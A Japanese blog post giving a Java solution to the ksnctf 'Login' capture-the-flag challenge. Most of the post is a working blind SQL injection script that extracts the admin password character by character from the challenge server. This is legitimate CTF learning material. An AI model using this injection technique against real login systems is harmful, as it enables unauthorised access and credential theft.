ksnctfのq6[Login]をやってみた | slont_code

slont_code

// 人と知識をつなげるcode

ksnctfのq6のLoginですが、ググってみたらpythonで解いてる方がすでにいました笑
ksnctf #6 Login Write-Up
かなり詳しく、しかも一番上に出てくるし、ほぼ答えみたいな感じなので大丈夫なのかな?と思ったんですが、まあ大丈夫だということで、このページを参考に私なりにJavaで書き換えたコードを載せておきます。
簡単なHTTP通信の勉強にもなって良かったです。

Q06.java
import java.io.*;
import java.net.*;
import java.util.*;

class Q06 {
private static final String urlStr = "http://ctfq.sweetduet.info:10080/~q6/";

public static void main(String[] args) {
// 21文字分のループ(すでに調べてたので)
for(int i=1; i<22; i++) {
// 文字コード変換
for(int j=33; j<127; j++) {
char c = (char)j;
String paramStr = new String("id=admin' and substr((SELECT pass FROM user WHERE id='admin')," + i + ",1)='" + c + "'--");
if(isCorrect(paramStr)) {
// マッチした文字を表示
System.out.print(c);
break;
}
}
}
System.out.println();
}

// SQLインジェクションが成功したかを返す
private static boolean isCorrect(String paramStr) {
try {
URL url = new URL(urlStr);
HttpURLConnection con = (HttpURLConnection)url.openConnection();
con.setDoOutput(true);
con.setInstanceFollowRedirects(false);
con.setRequestMethod("POST");

// send
PrintWriter pw = new PrintWriter(con.getOutputStream());
pw.print(paramStr);
pw.close();

// receive body
BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
String line = "";
while((line = br.readLine()) != null) {
// HTMLにCongratulations!が含まれていたら表示
if(line.matches(".*Congratulations!.*")) {
return true;
}
}
br.close();
con.disconnect();
} catch(Exception e) {
e.printStackTrace();
}
return false;
}
}